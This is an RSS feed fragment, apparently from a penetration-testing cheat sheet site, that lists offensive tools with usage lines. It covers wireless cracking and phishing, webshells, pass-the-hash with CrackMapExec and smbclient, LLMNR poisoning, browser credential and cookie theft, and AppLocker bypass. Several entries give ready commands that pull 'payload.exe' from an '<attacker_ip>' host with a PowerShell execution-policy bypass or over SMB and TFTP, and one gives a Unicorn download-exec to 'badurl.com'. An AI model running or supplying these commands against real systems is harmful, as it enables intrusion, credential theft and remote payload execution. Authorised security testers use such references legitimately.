Port forwarding: Local: ssh &amp;lt;gateway&amp;gt; -L &amp;lt;local port to listen&amp;gt;:&amp;lt;remote host&amp;gt;:&amp;lt;remote port&amp;gt; Remote: ssh &amp;lt;gateway&amp;gt; -R &amp;lt;remote port to bind&amp;gt;:&amp;lt;local host&amp;gt;:&amp;lt;local port&amp;gt; Dynamic: ssh &amp;lt;gateway&amp;gt; -D &amp;lt;port to bind&amp;gt;  Plink</description>
        <content:encoded><![CDATA[Airgeddon
A multi-use bash script for Linux systems to audit wireless networks.
Usage: sudo bash airgeddon.sh SPARTA
Python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase.
Usage: ./sparta  SSH
Pivoting with SSH.
Port forwarding: Local: ssh &amp;lt;gateway&amp;gt; -L &amp;lt;local port to listen&amp;gt;:&amp;lt;remote host&amp;gt;:&amp;lt;remote port&amp;gt; Remote: ssh &amp;lt;gateway&amp;gt; -R &amp;lt;remote port to bind&amp;gt;:&amp;lt;local host&amp;gt;:&amp;lt;local port&amp;gt; Dynamic: ssh &amp;lt;gateway&amp;gt; -D &amp;lt;port to bind&amp;gt;  Plink
Pivoting with Plink.exe (SSH for Windows).
Port forwarding: Local: plink.exe &amp;lt;gateway&amp;gt; -L &amp;lt;local port to listen&amp;gt;:&amp;lt;remote host&amp;gt;:&amp;lt;remote port&amp;gt; Remote: plink.exe &amp;lt;gateway&amp;gt; -R &amp;lt;remote port to bind&amp;gt;:&amp;lt;local host&amp;gt;:&amp;lt;local port&amp;gt; Dynamic: plink.exe &amp;lt;gateway&amp;gt; -D &amp;lt;port to bind&amp;gt;  Wifite 2
A tool to attack multiple WEP and WPA encrypted networks at the same time.
Example usage: ./Wifite.py -i wlan0 --wpa  WIFIPhisher
An automated phishing attack tool for Wifi networks.
Example usage: wifiphisher -i wlan0 -e &#39;Free Wifi&#39; -hC capture.pcap  ]]></content:encoded>
      </item>
    
      <item>
        <title>Other</title>
        <link>https://root4loot.com/pentools/payloads/other/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/payloads/other/</guid>
        <description>SharPyShell
SharPyShell (Python) is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
Example usage: python SharPyShell.py generate -p somepassword python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword  </description>
        <content:encoded><![CDATA[SharPyShell
SharPyShell (Python) is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
Example usage: python SharPyShell.py generate -p somepassword python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword  ]]></content:encoded>
      </item>
    
      <item>
        <title>Passive</title>
        <link>https://root4loot.com/pentools/information-gathering/passive/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/information-gathering/passive/</guid>
        <description>Amass
The OWASP Amass tool suite obtains subdomain names by scraping data sources, recursive brute forcing (warning: active), crawling web archives, permuting/altering names and reverse DNS sweeping.
Usage example: ./amass -src -ip -config amass_config.ini -d owasp.org  ct-exposer
An OSINT tool that discovers sub-domains by searching Certificate Transparency logs. The nice thing about this one is that you can export output to masscan format.
usage: ct-exposer.py [-h] -d DOMAIN [-u] [-m] optional arguments: -h, --help show this help message and exit -d DOMAIN, --domain DOMAIN domain to query for CT logs, ex: domain.</description>
        <content:encoded><![CDATA[Amass
The OWASP Amass tool suite obtains subdomain names by scraping data sources, recursive brute forcing (warning: active), crawling web archives, permuting/altering names and reverse DNS sweeping.
Usage example: ./amass -src -ip -config amass_config.ini -d owasp.org  ct-exposer
An OSINT tool that discovers sub-domains by searching Certificate Transparency logs. The nice thing about this one is that you can export output to masscan format.
usage: ct-exposer.py [-h] -d DOMAIN [-u] [-m] optional arguments: -h, --help show this help message and exit -d DOMAIN, --domain DOMAIN domain to query for CT logs, ex: domain.com -u, --urls ouput results with https:// urls for domains that resolve, one per line. -m, --masscan output resolved IP address, one per line. Useful for masscan IP list import &amp;quot;-iL&amp;quot; format.  Gitrob
A tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. The findings will be presented through a web interface for easy browsing and analysis.Reconnaissance tool for GitHub organizations.
Usage: ./gitrob [options] target [target2] ... [targetN]  Knock
Knockpy is a python tool designed to enumerate subdomains on a target domain through a wordlist. It is designed to scan for DNS zone transfer and to try to bypass the wildcard DNS record automatically if it is enabled.
Example Usage: Subdomain scan with internal wordlist: $ knockpy domain.com Subdomain scan with external wordlist: $ knockpy domain.com -w wordlist.txt Resolve domain name and get response headers: $ knockpy -r domain.com [or IP]  RegonDog
Reconnaissance Swiss Army Knife.
Features include Censys lookup, NS lookup, Subdomain lookup, Reverse IP lookup, Port scan, CMS detection, Honeypot detection.
Usage: python ./dog.py  SubBrute
A DNS meta-query spider that enumerates DNS records, and subdomains.
Example usage: ./subbrute.py google.com -o google.names ...162 subdomains found... ./subbrute.py -s google.names google.com --type TXT google.com,&amp;quot;v=spf1 include:_spf.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all&amp;quot; adwords.google.com,&amp;quot;v=spf1 redirect=google.com&amp;quot; ... ./subbrute.py -s google.names google.com --type CNAME blog.google.com,www.blogger.com,blogger.l.google.com groups.google.com,groups.l.google.com ...  Subfinder
SubFinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing.
The following require API keys: VirustotalAPIKey PassivetotalUsername PassivetotalKey SecurityTrailsKey RiddlerEmail RiddlerPassword CensysUsername CensysSecret ShodanAPIKey Setting API keys: ./subfinder --set-config VirustotalAPIKey=0x41414141 Example usage: ./subfinder -d freelancer.com ./subfinder -d freelancer.com -o output.txt  Subjack
Subdomain Takeover tool written in Go
Example usage: ./subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl  Sublist3r
Fast subdomains enumeration tool for penetration testers
Example usage: python sublist3r.py -d example.com python sublist3r.py -d example.com -p 80,443  Spiderfoot
Reconnaissance tool that automatically queries over 100 public data sources (OSINT) to gather intelligence on IP addresses, domain names, e-mail addresses, names and more.
Usage: python ./sf.py  Zen
Find emails of Github users.
Example usage: Find email address of a user: python zen.py username Find email addressess of contributors of a repository: python zen.py https://github.com/username/repository Find email addresses of members of an organization: python zen.py organization --org Save JSON output to a file: python zen.py https://github.com/username/repository -o /path/to/file Check if email has appeared in a breach (haveibeenpwned.com API): python zen.py s0md3v --breach  ]]></content:encoded>
      </item>
    
      <item>
        <title>Powershell</title>
        <link>https://root4loot.com/pentools/file-transfers/windows/powershell/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/windows/powershell/</guid>
        <description> Create ps1 script on target as follows:
echo $fileURL = &amp;quot;http://&amp;lt;attacker_ip&amp;gt;/payload.exe&amp;quot; &amp;gt; wget.ps1 echo $fileName = &amp;quot;C:\path_to\payload.exe&amp;quot; &amp;gt;&amp;gt; wget.ps1 echo $webclient = New-Object System.Net.WebClient &amp;gt;&amp;gt; wget.ps1 echo $webclient.DownloadFile($fileURL,$fileName) &amp;gt;&amp;gt; wget.ps1  Execute script to get file from web server:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1  </description>
        <content:encoded><![CDATA[ Create ps1 script on target as follows:
echo $fileURL = &amp;quot;http://&amp;lt;attacker_ip&amp;gt;/payload.exe&amp;quot; &amp;gt; wget.ps1 echo $fileName = &amp;quot;C:\path_to\payload.exe&amp;quot; &amp;gt;&amp;gt; wget.ps1 echo $webclient = New-Object System.Net.WebClient &amp;gt;&amp;gt; wget.ps1 echo $webclient.DownloadFile($fileURL,$fileName) &amp;gt;&amp;gt; wget.ps1  Execute script to get file from web server:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1  ]]></content:encoded>
      </item>
    
      <item>
        <title>Printers</title>
        <link>https://root4loot.com/pentools/printers/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/printers/</guid>
        <description>Praedasploit
Contains a number of commonly found printer exploits.
Usage: See https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules PRET
Printer Exploitation Toolkit - The tool that made dumpster diving obsolete.
Usage: ./pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl} Example usage: ./pret.py laserjet.lan ps ./pret.py /dev/usb/lp0 pjl</description>
        <content:encoded><![CDATA[Praedasploit
Contains a number of commonly found printer exploits.
Usage: See https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules PRET
Printer Exploitation Toolkit - The tool that made dumpster diving obsolete.
Usage: ./pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl} Example usage: ./pret.py laserjet.lan ps ./pret.py /dev/usb/lp0 pjl]]></content:encoded>
      </item>
    
      <item>
        <title>SMB</title>
        <link>https://root4loot.com/pentools/file-transfers/windows/smb/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/windows/smb/</guid>
        <description> Start SMB server with Impacket:
python smbserver.py SHARENAME /path/to/shared/folder  Run the following on target to transfer file:
copy \\&amp;lt;attacker_ip&amp;gt;\SHARENAME\payload.exe   </description>
        <content:encoded><![CDATA[ Start SMB server with Impacket:
python smbserver.py SHARENAME /path/to/shared/folder  Run the following on target to transfer file:
copy \\&amp;lt;attacker_ip&amp;gt;\SHARENAME\payload.exe   ]]></content:encoded>
      </item>
    
      <item>
        <title>SSH</title>
        <link>https://root4loot.com/pentools/file-transfers/linux/ssh/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/linux/ssh/</guid>
        <description>Usage:
scp &amp;lt;source&amp;gt; &amp;lt;destination&amp;gt;   Copy file from attacker to target:
scp username@b:/path/to/file /path/to/destination  Copy file from target to attacker:
scp /path/to/file username@a:/path/to/destination   </description>
        <content:encoded><![CDATA[Usage:
scp &amp;lt;source&amp;gt; &amp;lt;destination&amp;gt;   Copy file from attacker to target:
scp username@b:/path/to/file /path/to/destination  Copy file from target to attacker:
scp /path/to/file username@a:/path/to/destination   ]]></content:encoded>
      </item>
    
      <item>
        <title>Samba</title>
        <link>https://root4loot.com/pentools/samba/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/samba/</guid>
        <description>CrackMapExec
A post-exploitation tool that helps automate assessing the security of large Active Directory networks. CME makes heavy use of the Impacket library.
Examples usage: crackmapexec &amp;lt;protocol&amp;gt; 192.168.1.0/24 crackmapexec &amp;lt;protocol&amp;gt; ~/targets.txt Pass-the-hash: crackmapexec smb &amp;lt;target(s)&amp;gt; -u username -H LMHASH:NTHASH crackmapexec smb &amp;lt;target(s)&amp;gt; -u username -H NTHASH Null sessions: crackmapexec smb &amp;lt;target(s)&amp;gt; -u &#39;&#39; -p &#39;&#39;  enum4linux
A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.</description>
        <content:encoded><![CDATA[CrackMapExec
A post-exploitation tool that helps automate assessing the security of large Active Directory networks. CME makes heavy use of the Impacket library.
Examples usage: crackmapexec &amp;lt;protocol&amp;gt; 192.168.1.0/24 crackmapexec &amp;lt;protocol&amp;gt; ~/targets.txt Pass-the-hash: crackmapexec smb &amp;lt;target(s)&amp;gt; -u username -H LMHASH:NTHASH crackmapexec smb &amp;lt;target(s)&amp;gt; -u username -H NTHASH Null sessions: crackmapexec smb &amp;lt;target(s)&amp;gt; -u &#39;&#39; -p &#39;&#39;  enum4linux
A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.
Usage: ./enum4linux.pl [options] ip Example: ./enum4linux.pl -U -o 192.168.1.200  nullinux
Internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB.
Usage: python3 nullinux.py -users -quick DC1.Domain.net python3 nullinux.py -all 192.168.0.0-5 python3 nullinux.py -shares -U &#39;Domain\User&#39; -P &#39;Password1&#39; 10.0.0.1,10.0.0.5  Responder
A LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Usage: ./Responder.py [options] Example: ./Responder.py -I eth0 -wrf  Smbexec
A rapid psexec style attack with samba tools.
Usage: ./smbexec Main menu: 1. System Enumeration 2. System Exploitation 3. Obtain Hashes 4. Options 5. Exit  Smbclient
FTP-like client to access SMB/CIFS resources on servers. Part of the Samba suite.
Example usage: Pass-the-hash: smbclient -U testuser%&amp;lt;nthash&amp;gt; --pw-nt-hash -L 192.168.0.1 smbclient \\\\192.168.0.1\\domain -U testuser%&amp;lt;nthash&amp;gt; --pw-nt-hash Map drives: smbclient \\\\192.168.0.1\\sharename$ smbclient \\\\192.168.0.1\\sharename$ -U root%  Wmiexec
A similar approach to smbexec but executing commands through WMI.
Usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] target [command [command ...]] Example: ./wmiexec.py -hashes &amp;lt;ntlmhash&amp;gt; Administrator@10.10.0.1  ]]></content:encoded>
      </item>
    
      <item>
        <title>TFTP</title>
        <link>https://root4loot.com/pentools/file-transfers/linux/tftp/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/linux/tftp/</guid>
        <description> Start atftpd service (see configuration):
service atftpd start  Run the following on target to transfer file:
tftp -i &amp;lt;attacker_ip&amp;gt; GET payload.rb   </description>
        <content:encoded><![CDATA[ Start atftpd service (see configuration):
service atftpd start  Run the following on target to transfer file:
tftp -i &amp;lt;attacker_ip&amp;gt; GET payload.rb   ]]></content:encoded>
      </item>
    
      <item>
        <title>TFTP</title>
        <link>https://root4loot.com/pentools/file-transfers/windows/tftp/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/file-transfers/windows/tftp/</guid>
        <description> Start atftpd service (see configuration):
service atftpd start  Run the following on target to transfer file:
tftp -i &amp;lt;attacker_ip&amp;gt; GET payload.exe   </description>
        <content:encoded><![CDATA[ Start atftpd service (see configuration):
service atftpd start  Run the following on target to transfer file:
tftp -i &amp;lt;attacker_ip&amp;gt; GET payload.exe   ]]></content:encoded>
      </item>
    
      <item>
        <title>Web related</title>
        <link>https://root4loot.com/pentools/web/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/web/</guid>
        <description>Arjun
Arjun is a HTTP parameter discovery suite.
Example usage: Find GET parameters: python3 arjun.py -u https://api.example.com/endpoint --get Find POST parameters python3 arjun.py -u https://api.example.com/endpoint --post Multi-threading: python3 arjun.py -u https://api.example.com/endpoint --get -t 22 Delay between requests: python3 arjun.py -u https://api.example.com/endpoint --get -d 2 Add HTTP headers: python3 arjun.py -u https://api.example.com/endpoint --get --headers  BeEF Exploitation Framework
A cross-site scripting (XSS) attack framework.
Usage: ./beef  Burp
An awesome graphical tool for testing Web application security.</description>
        <content:encoded><![CDATA[Arjun
Arjun is a HTTP parameter discovery suite.
Example usage: Find GET parameters: python3 arjun.py -u https://api.example.com/endpoint --get Find POST parameters python3 arjun.py -u https://api.example.com/endpoint --post Multi-threading: python3 arjun.py -u https://api.example.com/endpoint --get -t 22 Delay between requests: python3 arjun.py -u https://api.example.com/endpoint --get -d 2 Add HTTP headers: python3 arjun.py -u https://api.example.com/endpoint --get --headers  BeEF Exploitation Framework
A cross-site scripting (XSS) attack framework.
Usage: ./beef  Burp
An awesome graphical tool for testing Web application security.
Usage: see https://portswigger.net/burp/documentation/contents  CMSmap
Python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs.
Examples: cmsmap.py http://example.com cmsmap.py http://example.com -f W -F --noedb -d cmsmap.py http://example.com -i targets.txt -o output.txt cmsmap.py http://example.com -u admin -p passwords.txt cmsmap.py http://example.com -k hashes.txt -w passwords.txt  CORStest
A simple CORS misconfiguration scanner
Usage: corstest.py [arguments] infile Example usage: corstest.py hosts.txt  Gobuster
Directory/file &amp;amp; DNS busting tool written in Go.
Example usage: Standard dir bust: gobuster -u https://example.com -w /path/to/wordlist.txt -n Display content length: gobuster -u https://example.com -w /path/to/wordlist.txt -l Filter results based on status codes 200, 403: gobuster -u https://example.com -w /path/to/wordlist.txt -s &#39;200,403&#39; -e Filter results based on file extensions: gobuster -u https://example.com -w /path/to/wordlist.txt -x &#39;asp,aspx&#39;  SPartan
Frontpage and Sharepoint fingerprinting and attack tool.
Usage: python SPartan.py -u http://127.0.0.1 -f -c -u: host URL -c: crawl the site for links -f: perform frontpage scans --sps: discover sharepoint SOAP services  Parameth
This tool can be used to brute discover GET and POST parameters-
Usage example: ./parameth.py -u https://example.com/somepage.php ./parameth.py -u https://example.com/somepage.php --data &amp;lt;post_data&amp;gt; ./parameth.py -u https://example.com/somepage.php --cookie &amp;lt;cookie&amp;gt;  Tplmap
Server-Side Template Injection and Code Injection Detection and Exploitation Tool.
Usage example: Test if parameter is vulnerable to SSTI: ./tplmap.py -u &#39;http://www.target.com/page?name=John&#39; Launch a pseudo-terminal on the target: ./tplmap.py --os-shell -u &#39;http://www.target.com/page?name=John&#39;  JShell
A nice little tool to quickly get a Javascript shell from XSS. Running shell.py will generate the js payload and setup a listener on port 33 (default).
Usage: python shell.py  OWASP ZAP
Open-source web application security scanner.
Usage: see https://github.com/zaproxy/zaproxy/wiki/Videos  Sublist3r
Fast subdomains enumeration tool for penetration testers.
Example usage: Enumerate subdomains of specific domain: python sublist3r.py -d example.com Show only subdomains which have open ports 80 and 443: python sublist3r.py -d example.com -p 80,443 Show the results in realtime: python sublist3r.py -v -d example.com  WPScan
Black box WordPress vulnerability scanner written for security professionals and blog maintainers to test the security of their sites.
Usage: wpscan [options] Examples: wpscan --url http://example.com --enumerate plugins -o output.txt wpscan --url http://example.com --password-attack=wp-login --usernames=/path/to/usernames.txt --passwords=/path/to/wordlist.txt  Wfuzz
Web application fuzzer.
Example usage: Standard fuzz: wfuzz -w /path/to/wordlist.txt https://example.com/FUZZ Exclude 404 from results: wfuzz -w /path/to/wordlist.txt https://example.com/FUZZ --hc 404 Exclude results having &#39;117 Ch&#39; (chars): wfuzz -w /path/to/wordlist.txt https://example.com/FUZZ --hh 117  XSStrike
XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
Usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t THREADS] [--seeds SEEDS] [--json] [--path] [--fuzzer] [--update] [--timeout] [--params] [--crawl] [--blind] [--verbose] [--skip-dom] [--headers] [--proxy] [-d DELAY] [-e ENCODING] Scan a single URL: python xsstrike.py -u &amp;quot;http://example.com/search.php?q=query&amp;quot; Supplying POST data: python xsstrike.py -u &amp;quot;http://example.com/search.php&amp;quot; --data &amp;quot;q=query&amp;quot; Test URL path components: python xsstrike.py -u &amp;quot;http://example.com/search/form/query&amp;quot; --path Bruteforce payloads from a file: python3 xsstrike.py -u &amp;quot;http://example.com/page.php?q=query&amp;quot; -f /path/to/file.txt Blind XSS: python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind More usage commands: https://github.com/s0md3v/XSStrike/wiki/Usage  XXE-FTP
Basic FTP server written in Go to receive payloads from instances of XXE.
Usage: ./xxeftp -p 2121  ]]></content:encoded>
      </item>
    
      <item>
        <title>Windows</title>
        <link>https://root4loot.com/pentools/post-exploitation/windows/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/post-exploitation/windows/</guid>
        <description>BrowserGather
Powershell script to extract sensitive browser information from Chrome, Firefox and IE.
First, import the module: import-module .\BrowserGather.ps1 Extract credentials: Get-ChromeCreds &amp;quot;C:\Users\sekirkity\AppData\Local\Google\Chrome\User Data\Profile 1\Login Data&amp;quot; | format-list * Extract cookies: Get-ChromeCookies &amp;quot;C:\Users\sekirkity\AppData\Local\Google\Chrome\User Data\Profile 1\Cookies&amp;quot; | format-list *  Empire
Powerful PowerShell &amp;amp; Python post-exploitation agent.
Usage: ./empire Tips and tricks: https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/  Unicorn
A simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory.
Usage: python unicorn.</description>
        <content:encoded><![CDATA[BrowserGather
Powershell script to extract sensitive browser information from Chrome, Firefox and IE.
First, import the module: import-module .\BrowserGather.ps1 Extract credentials: Get-ChromeCreds &amp;quot;C:\Users\sekirkity\AppData\Local\Google\Chrome\User Data\Profile 1\Login Data&amp;quot; | format-list * Extract cookies: Get-ChromeCookies &amp;quot;C:\Users\sekirkity\AppData\Local\Google\Chrome\User Data\Profile 1\Cookies&amp;quot; | format-list *  Empire
Powerful PowerShell &amp;amp; Python post-exploitation agent.
Usage: ./empire Tips and tricks: https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/  Unicorn
A simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory.
Usage: python unicorn.py payload reverse_ipaddr port &amp;lt;optional hta or macro, crt&amp;gt; Help Menu: python unicorn.py --help Example usage: PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe Custom PS1: python unicorn.py &amp;lt;path to ps1 file&amp;gt; Custom Shellcode: python unicorn.py &amp;lt;path_to_shellcode.txt&amp;gt; shellcode (formatted 0x00)  Sherlock
PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
Usage: Add desired fuction to end of file. powershell -nologo -executionpolicy bypass -file sherlock.ps1  p0wnedShell
Offensive PowerShell host application written in C# that does not rely on powershell.exe but runs powershell commands and functions within a powershell runspace environment (.NET). It has a lot of offensive PowerShell modules and binaries included to make the process of Post Exploitation easier.
Example usage: Run as x64 binary and bypass Applocker: cd \Windows\Microsoft.NET\Framework\v4.0.30319 InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx86.exe  Windows Exploit Suggester - Next Generation (WES-NG)
WES-NG is a tool (Python) based on the output of Windows&amp;rsquo; systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10, including their Windows Server counterparts, is supported.
How to use: 1. Generate systeminfo: systeminfo &amp;gt; systeminfo.txt 2. Run WES-NG against it: wes.py systeminfo.txt See also: Eliminating False Positives (https://github.com/bitsadmin/wesng/wiki/Eliminating-false-positives)  Windows-Exploit-Suggester
This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
Usage: ./windows-exploit-suggester.py --update  ]]></content:encoded>
      </item>
    
      <item>
        <title>Wordlist Generators</title>
        <link>https://root4loot.com/pentools/wordlist-generators/</link>
        <dc:creator>root4loot</dc:creator>
        <guid>https://root4loot.com/pentools/wordlist-generators/</guid>
        <description>CeWl
A ruby app which spiders a given URL to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.
Usage: cewl [OPTIONS] ... &amp;lt;url&amp;gt; Example: cewl http://example.com --depth=4 --write=output.txt  Crunch
Wordlist generator based on criteria you specify. The output from crunch can be sent to the screen, file, or to another program.</description>
        <content:encoded><![CDATA[CeWl
A ruby app which spiders a given URL to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.
Usage: cewl [OPTIONS] ... &amp;lt;url&amp;gt; Example: cewl http://example.com --depth=4 --write=output.txt  Crunch
Wordlist generator based on criteria you specify. The output from crunch can be sent to the screen, file, or to another program.
Example usage: crunch 6 6 -t foo@,% &amp;gt;&amp;gt; wordlist # Generates foo[ALLchars][UPPERCASEletters][0-9]  Wordhound
Wordlist generator that builds a list of password candidates for a specific target website to use with something like Hashcat or Hydra.
Usage: python wordhound.py https://example.com/  ]]></content:encoded>
      </item>
    
  </channel>
</rss>
